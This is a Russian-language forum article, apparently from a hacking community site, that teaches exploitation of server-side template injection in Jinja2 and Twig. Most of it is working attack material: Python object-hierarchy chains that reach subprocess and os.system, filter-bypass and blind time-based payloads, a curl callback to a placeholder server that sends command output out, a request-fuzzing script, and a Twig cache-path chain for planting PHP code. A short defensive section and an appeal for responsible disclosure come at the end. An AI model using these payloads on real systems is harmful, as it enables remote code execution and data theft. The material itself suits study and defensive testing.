Статья Исследование Template Injection в Jinja2 и Twig

1769708675537.webp


Эй. Да, тебе. Тот, кто зашёл сюда не по ссылке с очередного инфосек-паблика, а нашёл эту тему через глубинный поиск, через закладку в браузере, через шёпот в IRC. Тот, у кого от бесконечных статей «Top-5 SSTI Payloads для Django» уже сводит скулы. Приветствую.

Вытащи из-под стола тот самый пыльный системник, на котором ты когда-то запускал свои первые скрипты. Поставь рядом чашку того, что помогает думать. У нас с тобой будет долгий и честный разговор.

Посмотри вокруг цифрового пространства. Что ты видишь? Все говорят об одном и том же. Flask. Django. Spring. «О, я нашел {{config}}!» - кричат на конференциях. «Смотри, {{7*7}} работает!» - пишут в Иксе. Это поверхность океана, под которым скрываются целые континенты забытого, непопулярного, но от того не менее важного кода.

А теперь посмотри туда, куда не смотрят другие. Внутренние админки старых компаний. Панели управления облачных провайдеров второго эшелона. Системы мониторинга, которые крутятся на серверах у системного администратора, уверенного, что «раз нет доступа извне, то и нет». Инструменты для DevOps, написанные впопыхах. Кастомные CMS для небольших, но денежных проектов. Что их объединяет? Часто - не раскрученный фреймворк, а его ядро - движок шаблонов. И два имени звучат здесь чаще всего: Jinja2 и Twig.

Почему именно они? Потому что они - лучшие в своём классе. Jinja2 - это не только Flask. Это язык шаблонов для Ansible, SaltStack, Superset, и ещё сотен проектов, где нужно генерировать текст (конфиги, отчёты, HTML) с логикой. Это выбор того самого сисадмина, который знает Python и хочет «быстро написать утилитку для отчётов». Twig - это не только Symfony. Это элегантный, строгий и очень мощный движок для PHP, который выбирают те, кто устал от лапши вперемешку с PHP-кодом. Кто хочет красоты и порядка. Они выбирают эти движки за их надёжность, скорость и… за декларируемую безопасность.

И вот здесь начинается наша история. Потому что эта самая «безопасность» - часто иллюзия, построенная на непонимании. Разработчик слышит: «В Twig нельзя вставить PHP, значит он безопасен». Или: «Jinja2 работает в песочнице». И он расслабляется. Он начинает передавать в шаблоны всё подряд: объекты конфигурации, глобальный контекст приложения, служебные объекты с методами типа runCommand(). Он думает, что раз нет прямого вызова eval(), то и бояться нечего.

Он ошибается. Глубоко и фундаментально.

Template Injection в этих движках - это не просто баг. Это критическая ошибка. Это несоответствие между ментальной моделью разработчика («шаблон - это просто вид») и реальной моделью выполнения («шаблон - это программа, компилируемая в байт-код и выполняемая в контексте приложения»). И когда ты, исследователь, понимаешь эту разницу, перед тобой открываются не просто дыры, а целые тоннели в логику приложения.

Цель этой статьи - не дать тебе ещё один список полезных нагрузок для копипасты. Цель - научить тебя мыслить как движок шаблонов. Понять, как Jinja2 превращает {{ name }} в Python-байткод. Увидеть, как Twig компилирует {{ user }} в PHP-класс. Узнать, где в их памяти прячутся ссылки на os, sys, subprocess или shell_exec. Научить тебя в условиях полной тишины (blind), когда нет вывода, строить цепочки из доступных кирпичиков, чтобы добраться до RCE. Это ремесло. Это археология. Это инженерия наоборот.

Я покажу тебе не только успешные эксплойты, но и те пути, которые ведут в никуда, и объясню - почему.

Здесь будут:
  • Глубокий разбор архитектуры Jinja2 и Twig - с точки зрения атакующего.
  • Практические, готовые к использованию инструменты для разведки и эксплуатации.
  • Стратегии обхода песочниц, когда кажется, что выхода нет.
  • Методики слепой эксплуатации (blind SSTI), где ты не видишь результатов.
  • Разбор реальных, не приукрашенных кейсов из моей практики и практики таких же, как мы.
Если ты ищешь быстрый сплойт для CTF - возможно, найдёшь его здесь, но это будет побочный эффект. Эта статья для тех, кто хочет понимать. Для тех, кто устал от поверхностного потребления инфосека. Для тех, кто считает, что хакерство - это не запуск чужих скриптов, а способ мышления.

Готов? Выдыхай. Отключайся от шума. Мы погружаемся в тишину и детали. Начинаем.


JINJA2 - НЕ ТОЛЬКО ЦВЕТОЧКИ ВО FLASK

Анатомия Зверя: Как Jinja2 Думает


Все начинается с понимания. Jinja2 - это не черный ящик. Это компилятор шаблонов в Python-байткод. Да, именно так. Твой {{ name }} превращается в код Python, который потом выполняется. Это ключ ко всему.

Когда ты видишь уязвимость, это почти всегда Context Misalignment. Разработчик дает тебе песочницу, но забывает закрыть калитку. Или думает, что песочница - это железобетонный бункер. На деле же:
  • SandboxedEnvironment - должна быть твоя тюрьма. Урезанный набор функций, строгие правила.
  • Environment (обычная) - это уже не тюрьма, а просто комната с табличкой «не бегай».
  • А часто бывает просто jinja2.Template(...).render() - это вообще чистый поле, полный доступ к неймспейсу, который передал разработчик.
Jinja2 AST Explorer (в уме и в коде)

Тебе не нужно ничего скачивать. Открой Python консоль:

Python:
import jinja2
from jinja2 import meta, nodes, Environment

code = "{{ ''.__class__ }}"
env = Environment()
ast = env.parse(code)
print(ast)

Ты увидишь дерево разбора (AST). Это твоя карта. Узлы: Template, Output, Getattr. Изучи jinja2.nodes. Пойми, как из {{ config }} получается узел Getattr, который ищет атрибут config в контексте.

Диагностика «на коленке»

Ты нашел подозрительный параметр? Вбей классику, но с диагностикой:
{{ 7*7 }} → 49? Есть рендеринг.
{{ 7*'7' }} → 7777777? Есть (конкатенация строк в Jinja).
{{ request }} → Ошибка? Или объект? Смотри на ошибки. Ошибки Jinja2 - твой лучший друг. Они выдают имена переменных контекста, структуру.

Классика, которая всё еще работает: Иерархия - наше всё

Забудь про {{config}}. В чистом Jinja2 его нет. Начни с основного вектора: достижение корня всех объектов - object.

Цель: добраться до подклассов object, найти среди них те, что дают RCE. В Python всё - объект. Даже классы - это объекты класса type.

Базовый сценарий (когда в контексте есть хоть что-то, например, строка '' или число):

Python:
{{ ''.__class__ }}  # <class 'str'> - получили класс строки
{{ ''.__class__.__mro__ }}  # (<class 'str'>, <class 'object'>) - Method Resolution Order
{{ ''.__class__.__mro__[1] }}  # <class 'object'> - ЦЕЛЬ ДОСТИГНУТА

Теперь у тебя есть object. У него есть подклассы:

Python:
{{ ''.__class__.__mro__[1].__subclasses__() }}  # СПИСОК ВСЕХ КЛАССОВ В ПАМЯТИ. ВСЕХ.

Это массив, часто в сотни элементов. Твой золотой прииск. Ищи глазами или в автоматическом режиме (об этом позже) нужные классы. Что ищем?
  • &lt;class 'subprocess.Popen'&gt; - победа. Запуск команд.
  • &lt;class 'os._wrap_close'&gt; (часто на месте os.popen в новых Python) - доступ к os.
  • &lt;class '_io.FileIO'&gt; - запись файлов.
  • &lt;class 'warnings.catch_warnings'&gt; - полезен для загрузки кода.
  • &lt;class 'site._Printer'&gt; - часто имеет os.
  • Любой класс, в атрибутах которого видишь os, sys, eval, open.
Пример с Popen (предположим, он на 414-й позиции в списке):

Код:
jinja2

{{ ''.__class__.__mro__[1].__subclasses__()[414]('whoami', shell=True, stdout=-1).communicate()[0] }}

Громоздко? Да. Но это работает, когда другие векторы отрезаны.

Обход ограничений: Когда базовые пути отрезаны

Сценарий 1:
Фильтруются символы [, ], _.
  • Используй .getitem() вместо скобок. {{ ''.class.mro.getitem(1) }}
  • _ можно получить через строки: {{ request['application']['globals'] }} (если есть request).
  • Или используй attr() фильтр: {{ ''|attr('class') }}.
Сценарий 2: Запрещены точки. Используй фильтр |attr для цепочек.
{{ (''|attr('class')|attr('mro')|attr('getitem')(1)|attr('subclasses')()|attr('getitem')(414))('id') }}

Сценарий 3: SandboxedEnvironment с переопределенными is_safe_callable.
  • Ищи альтернативные пути к os/sys. Не все классы одинаково проверены. Класс site.Printer часто имеет доступ к os через замыкания. Используй .__init_.globals.
Код:
jinja2

{{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].system('id') }}

Где X - индекс site._Printer или подобного.
  • Используй загрузку модулей через builtins. Если найдешь способ добраться до builtins (часто через globals.builtins у функции), можешь импортировать importlib.
Код:
jinja2

{{ lipsum.__globals__['__builtins__']['__import__']('os').system('id') }}

lipsum, range, dict, cycler, joiner - часто доступные глобальные функции Jinja2. Исследуй .globals каждой.

Скрытые жемчужины: Глобальные функции и их globals

Это твой секретный ключ. В Environment по умолчанию есть куча функций: range, dict, lipsum, cycler, namespace. У каждой есть атрибут globals - это словарь глобальных переменных модуля, в котором функция определена (обычно jinja2.utils или jinja2.runtime). В этом словаре могут быть ссылки на sys, os, или даже на сам Environment.

Практика:
  1. Вызови {{ lipsum }} - увидишь объект функции.
  2. {{ lipsum.globals }} - огромный словарь. Ищи в нём os, sys, subprocess.
  3. Если os есть: {{ lipsum.globals['os'].popen('id').read() }}
Автоматизация поиска: Когда список подклассов огромен, не ищи вручную. Используй встроенные возможности шаблона для поиска (если есть возможность вывода). Можно написать шаблон, который проходит по subclasses() и выводит индекс и имя, если в globals есть os:

Код:
jinja2

{% for i in ''.__class__.__mro__[1].__subclasses__() %}
  {% if i.__init__.__globals__.get('os') %}
    Index: {{ loop.index0 }} - {{ i }}
  {% endif %}
{% endfor %}

Но это требует возможности использовать теги {% ... %}. Если нет - надо действовать вслепую, через цепочки attr.

Побег из «железной» песочницы: Атака на сам Jinja2

Бывают случаи, когда разработчик кастомно переопределил всё, что можно. Последний рубеж - атака на внутренние структуры Jinja2. Всё в Python - объект. Сам объект Template, объект Context.

Если у тебя есть доступ к объекту контекста (часто self, но в Jinja2 его нет по умолчанию), можешь из него вытащить Environment. Где взять self? В макросах (если они доступны). Внутри макроса {{ caller.self }} или {{ varargs.self }} может ссылаться на контекст.

Или, если тебе доступны тесты (функции вида callable()), через них можно добраться до глобальных переменных.

Это уровень археологических раскопок. Требует чтения исходного кода Jinja2. Но это возможно.


TWIG - ЭЛЕГАНТНАЯ ЛОВУШКА ДЛЯ НЕОСТОРОЖНОГО РАЗРАБА

Философия Twig: Безопасность через Ограничение Синтаксиса


Twig создавался с мыслью о безопасности. Нет прямого доступа к PHP. Синтаксис строгий. Фильтры и функции - всё, что есть у разработчика. Поэтому разработчики расслабляются. Они думают: «Раз нельзя вставить PHP, значит безопасно». Ха. Классическая ошибка.

Twig, как и Jinja2, компилируется. В PHP-код. И этот PHP-код потом выполняется. Увидеть скомпилированный шаблон можно в кеше (папка cache/). Посмотри на него когда-нибудь. Это откровение.

Twig Console Playground

Самый быстрый способ понять Twig - поставить его локально и играть.

Bash:
composer require "twig/twig:^3.0"

Создай test.php:

PHP:
<?php
require_once 'vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);
echo $twig->render('Hello {{ name }}!', ['name' => '<script>alert(1)</script>']);
?>

Меняй, смотри, ломай. Добавляй кастомные фильтры, функции. Тестируй.

Ключевое отличие от Jinja2: _self и _context

В Twig есть две волшебные переменные, которые часто забывают заблокировать или понять:
  • _self: Ссылка на текущий экземпляр Template. Золотая жила.
  • _context: Массив всех переменных, переданных в шаблон.
Через _self к методу getFilter() и getFunction().

Если у тебя есть _self, ты можешь получить объект Environment и через него - доступ к глобальным переменным Twig, которые разработчик мог добавить.

Код:
twig

{{ _self }} // Проверяем доступ
{{ _self.env }} // Получаем Environment (часто)
{{ _self.env.getFilter('escape') }} // Получаем объект фильтра

Но главное - _self позволяет вызвать метод getFilter(), который возвращает объект замыкания (Closure). А у замыканий в PHP есть метод __invoke() и... доступ к области видимости? Нет. Но есть кое-что лучше.

Вектор №2: _self → getTemplateName() → loadTemplate() → RCE? Не так просто. Но _self дает доступ к twig.loader - загрузчику шаблонов. Если это Twig\Loader\FilesystemLoader, можно попробовать путь к файлу, но это редко дает RCE напрямую.

1769708747873.webp


Самый сочный вектор: _self и _context в симбиозе с методом {{ _self.env.setCache() }}

Это менее известный, но мощный путь. Environment имеет метод setCache(). Что, если мы можем изменить путь к кешу на контролируемую нами директорию? А затем сгенерировать шаблон, который скомпилируется в PHP-код с нашим шелл-кодом?

План:
  1. Узнать текущий cache, возможно, это /tmp.
  2. Через уязвимость загрузки файла (LFI) или иным путем положить наш зловредный twig-шаблон в доступное для чтения Twig место.
  3. Использовать {{ _self.env.setCache('/controlled/path') }} (если доступен).
  4. Заставить Twig загрузить наш шаблон, он скомпилируется в PHP-файл в кеше.
  5. Выполнить этот PHP-файл через LFI или прямо, если знаем путь.
Сложно? Да. Но в реальных условиях, с цепочкой уязвимостей (LFI + SSTI), - возможно.

Классика жанра: Поиск функции system() в контексте

Часто разработчики добавляют в Twig глобальные функции или фильтры для удобства. Например:

PHP:
$twig->addFunction(new \Twig\TwigFunction('shell_exec', 'shell_exec'));
Или они добавляют свой объект $app, у которого есть метод exec().

Как искать? Выведи весь _context:

Код:
twig

{{ _context|json_encode(constant('JSON_PRETTY_PRINT')) }}

Или просто {{ dump(_context) }}, если доступна функция dump (часто в dev-режиме).

Смотри внимательно. Ищи объекты, которые выглядят как хелперы, утилиты. Исследуй их методы через {{ object.methods() }} (если есть такой метод) или пытайся угадать: exec, run, system, passthru.

Фильтр map и filter - твои союзники для рефлексии

В Twig нет прямого class, но есть мощные функциональные фильтры.
  • map: Применяет стрелочную функцию к каждому элементу массива.
  • filter: Фильтрует массив.
Пример: получить список всех методов объекта _self:

Код:
twig

{{ [0]|map((v, k) => _self.methods)|join(', ') }}

Но тут нужна версия Twig 3+ со стрелочными функциями. В более старых версиях используй filter для поиска по именам.

Можно попробовать вызвать call_user_func или array_map, если они доступны в контексте.

Эксплуатация через замыкания (Closure) и call_user_func

Если в контекст попал объект Closure (анонимная функция) или доступна функция call_user_func, можно раскрутить цепочку.

Допустим, у нас есть объект $obj с методом getCallback(), возвращающий Closure. В шаблоне:

Код:
twig

{{ obj.getCallback() }} // Получили Closure
{{ call_user_func(obj.getCallback(), 'id') }} // Вызвали его с аргументом

Ищи call_user_func, array_map, array_filter, array_reduce в глобальных функциях Twig.

Атака на изоляцию песочницы (если используется Sandbox)

Twig имеет встроенную песочницу. Разработчик должен явно разрешить теги, фильтры, методы, свойства. Если он это сделал плохо (а так часто бывает), можно вырваться.

Проверь, какие фильтры разрешены. Фильтр escape (e) часто вызывает twig_escape_filter. Исследуй, что еще доступно. Иногда разрешают фильтр sort, который может использовать usort и вызывать callable-объект.


АРСЕНАЛ ПРАКТИКА: ИНСТРУМЕНТЫ, СКРИПТЫ, ПОДХОДЫ

Tplmap - но не для паразитирования, а для изучения


Знаю, знаю. tplmap - это почти как sqlmap для шаблонов. Но я призываю не использовать его вслепую. Изучи его код. Посмотри, как он строит цепочки для Jinja2, для Twig. Это кладезь идей. Запусти его с флагом --verbose, смотри, какие полезные нагрузки он подбирает, как он определяет контекст. Это учебное пособие. Не будь скрипт-кидди, будь человеком, который понимает, что делает скрипт.

Свой собственный фаззер для контекста (Python + Jinja2)

Напиши простой скрипт, который подключается к уязвимому эндпоинту и перебирает не только {{7*7}}, но и пытается вытащить class через различные глобальные объекты:

Python:
import requests
import itertools

base_url = "http://vuln.site/render"
param = "template"

# Список потенциальных глобальных объектов/функций Jinja2
probes = [
    "''", "'a'", "[]", "{}", "request", "g", "session", "config",
    "lipsum", "range", "dict", "cycler", "namespace", "self"
]

for probe in probes:
    for suffix in ["", ".__class__", ".__globals__", ".__mro__"]:
        payload = f"{{{{ {probe}{suffix} }}}}"
        r = requests.get(base_url, params={param: payload})
        # Анализируй ответ на наличие ошибок или данных
        if "object at 0x" in r.text or "<class" in r.text:
            print(f"HIT: {payload} -> {r.text[:200]}")

Это база. Дополняй, улучшай.

Инструмент №6: Генератор цепочек для Jinja2 вслепую (Blind SSTI)

Когда вывода нет, но есть задержка (time-based) или внешний отклик (OOB). Нужно строить цепочки, которые приводят к os.system('sleep 5') или requests.get(' ').

Стратегия:
  1. Узнай индекс нужного класса вслепую, через бинарный поиск с задержкой.
    Полезная нагрузка: {% if ''.class.mro[1].subclasses()[X].name == 'Popen' %}{{ lipsum.globals['os'].system('sleep 5') }}{% endif %}.
    Брутфорсим X, ищем задержку.
  2. Используй curl или wget для отправки данных наружу, включая результат команд.
    {{ ''.class.mro[1].subclasses()[414]('curl http://YOUR_SERVER/?whoami', shell=True) }}
Инструмент №7: Анализ скомпилированных шаблонов (Twig)

Найди папку кеша Twig (часто /tmp, var/cache, app/cache). Если есть LFI, читай файлы __TwigTemplate_*.php. Там ты увидишь:
  • Весь контекст, доступный в шаблоне ($context).
  • Какие функции и фильтры используются.
  • Возможно, даже пароли или ключи, переданные в шаблон, но не отображенные.
Подход «Слепого Археолога»: Когда ничего не ясно
  1. Зафаззь всё. Параметры POST, JSON, Cookies, Headers (иногда X-Forwarded-For попадает в шаблон логов!).
  2. Смотри на ошибки. 500-я ошибка с трейсом Twig/Jinja2 - это карта сокровищ.
  3. Ищи вторичные инъекции. Данные сохраняются в БД, потом выводятся в шаблоне. Классика: комментарий -> админка -> рендер в шаблоне админки.
  4. Используй особенности движка. В Jinja2 {{ config }} может не работать, а {{ get_flashed_messages.globals.builtins }} - сработать.
  5. Читай документацию движка. Не ту, что для пользователей, а для разработчиков движка. Разделы про sandbox, про loaders, про extensions.

ЗАЩИТА? НЕТ, ПРОСТО ЧЕСТНЫЙ РАЗГОВОР

Разработчик, если ты читаешь это (а ты должен), вот тебе прямая речь:
  1. НЕ ДОВЕРЯЙ пользовательскому вводу. Никогда. render_template_string(user_input) - это самоубийство.
  2. Используй строгие песочницы, но тестируй их. Попробуй сам сломать. Пригласи аудитора.
  3. Передавай в шаблон только то, что нужно. Не лей туда весь request, config, application объект.
  4. Для Jinja2: Используй jinja2.sandbox.SandboxedEnvironment и внимательно настрой is_safe_callable, is_safe_attribute. Выкини из глобалов всё лишнее.
  5. Для Twig: Не добавляй опасные функции (system, exec, passthru) как глобальные. Используй Sandbox и тщательно white-листинг тегов, фильтров, методов.
  6. Логируй попытки. Подозрительные шаблоны - это атака.
Но мы-то знаем, брат-читатель, что 90% кода пишется на коленке. И наша задача - находить эти коленки и мягко, с хакерской эмпатией, указывать на ошибку. Иногда через отчет, иногда... иначе.


НЕ КОНЕЦ, А ТОЧКА СБОРКИ

Давай оглянемся на пройденный путь без иллюзий и пафоса. Мы начали с простой, но радикальной мысли: мейнстрим-слеп к периферии. Пока толпа штурмует Django и Spring, умный исследователь с фонарём и лопатой идёт в тихие, плохо освещённые подвалы веба - туда, где работают Jinja2 и Twig. Не потому, что они «слабее». А потому, что их безопасность - это миф, подкреплённый самоуверенностью разработчика. Мы разобрали этот миф на молекулы.

Что, по сути, мы сделали?
Мы не изучали «уязвимости». Мы изучали архитектуру и последствия её неверного понимания. Каждая цепочка {{ ''.class.mro[1].subclasses() }} - это не просто трюк. Это демонстрация фундаментального принципа Python: всё есть объект, и если тебе дали доступ к песочнице, но оставили в ней зёрна самого языка, ты можешь вырастить из них всё что угодно. Каждая манипуляция с _self в Twig - это намёк на то, что среда выполнения шаблонов никогда не бывает полностью изолирована от среды хозяина, если только её не построили с параноидальной тщательностью, на что у 99% разработчиков нет ни времени, ни знаний.

Не всё так просто в реальном мире. Часто ты наткнёшься на кастомную песочницу, которая ломает все твои цепочки. Чаще всего - на полное отсутствие вывода. Иногда - на WAF, который давит любые попытки. И тогда всё, что мы прошли - это не инструкция, а фонд идей, методология, способ мышления. Ты не будешь помнить наизусть индекс класса subprocess.Popen. Но ты будешь помнить, что нужно искать init.globals у любого подозрительного класса. Ты не будешь тыкать слепо {{ config }}, а сначала посмотришь, что есть в контексте через ошибку или через {{ lipsum.globals.keys()|list }}.

Самое важное, что ты должен вынести - это сдвиг парадигмы.
  1. От полезной нагрузки - к контексту. Не «какой payload работает», а «что мне доступно?». Искать не os, а сначала range, dict, lipsum, cycler, _self, _context. Исследовать их глобалы, их методы.
  2. От слепого выполнения - к слепой разведке. Если нет вывода, но есть возможность вызвать sleep или отправить HTTP-запрос, ты можешь провести слепой бинарный поиск по индексам классов, по именам атрибутов. Это долго, нудно, но автоматизируемо. Это уже не хакинг, это - системная инженерия атаки.
  3. От эксплуатации - к пониманию системы. SSTI в Jinja2/Twig редко существует в вакууме. Это почти всегда симптом более глубокой проблемы: неправильного разделения логики и представления, доверия к пользовательскому вводу на самом глубоком уровне. Найдя её, ты можешь предположить, что рядом лежат другие косяки: может, есть и десереализация, может, есть прямая передача пользовательского ввода в eval() где-то ещё. Шаблонная инъекция - это часто верхушка айсберга.
А что насчёт защиты? Ты, как исследователь, теперь видишь её изнутри. И ты понимаешь, что стандартные советы в духе «используйте экранирование» - бесполезны против инъекции в сам шаблон. Настоящая защита - это:
  • Полный отказ от render_template_string() с любыми пользовательскими данными. Вообще. Даже «проверенными».
  • Передача в шаблон только примитивов (строки, числа, списки, словари) и строго кастрированных объектов DTO (Data Transfer Object), у которых нет методов, кроме геттеров.
  • Использование песочниц не по умолчанию, а настроенных вручную. Выкинуть всё лишнее из глобалов. Переопределить is_safe_attribute, чтобы он запрещал всё, что начинается с _ (подчёркивание).
  • Логирование всех сбоев рендеринга шаблонов и автоматическое оповещение при попытках доступа к class, globals, mro, _self.
Но давай будем честны: этого почти никто не делает. А значит, поле для исследования огромно.

Теперь о нас, о сообществе.
Мы сделали это -прошли длинный, детальный материал. Такие знания не должны оставаться в одном месте. Они должны распространяться, но не для вандализма, а для улучшения всей экосистемы. Если ты находишь уязвимость - ответственно сообщай. Если видишь в коде коллеги риск SSTI - мягко объясни, в чём проблема. Мы не вандалы, мы - инженеры обратной связи. Наша ирония и скепсис направлены не на разрушение, а на устранение халтуры. Мы делаем софт крепче, находя его слабые места. Это наша хакерская эмпатия.

Что дальше?
  1. Собери лабораторию. Docker-контейнеры с разными версиями Jinja2 и Twig, с разными конфигурациями (обычный Environment, Sandboxed, с кастомными фильтрами). Ломай их.
  2. Читай исходный код. Не бойся. Код jinja2/sandbox.py или Twig/Extension/Core.php - это лучший учебник. Ты увидишь, как именно реализованы проверки, и где в них могут быть логические дыры.
  3. Пиши свои инструменты. Не используй tplmap как чёрный ящик. Напиши свой простой сканер, который будет целенаправленно искать глобальные функции и их globals. Это прокачает тебя как разработчика.
  4. Смотри шире. Jinja2 и Twig - лишь примеры. Есть еще Mako, Smarty, Jade, Handlebars - каждый со своей философией и своими дырами. Принципы, изученные здесь, применимы и там: ищи компиляцию в код, ищи контекст, ищи песочницы, которые не песочницы.
Эта статья - не истина в последней инстанции. Это отправная точка. Мир шаблонных движков глубок и разнообразен. Новые версии выходят, патчится старое, появляются новые векторы. Но фундамент, заложенный здесь - понимание, что шаблон это код, что его выполнение контекстно, что изоляция хрупка - останется с тобой.

Когда ты в следующий раз увидишь в исходниках render_template или $twig-&gt;render() с параметром из запроса, ты не просто вставишь {{7*7}}. Ты увидишь перед собой сложную, живую систему, которую можно исследовать, понять и, если надо, указать на её изъян. Ты будешь делать это не как скрипт-кидди, а как специалист. Это и есть главная цель.

Удачи, товарищ. Помни: глубина побеждает шум. Знание переживает хайп. А честный, подробный разбор - это наше оружие и наш щит.
 
  • Нравится
Реакции: Hatsune Miku
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab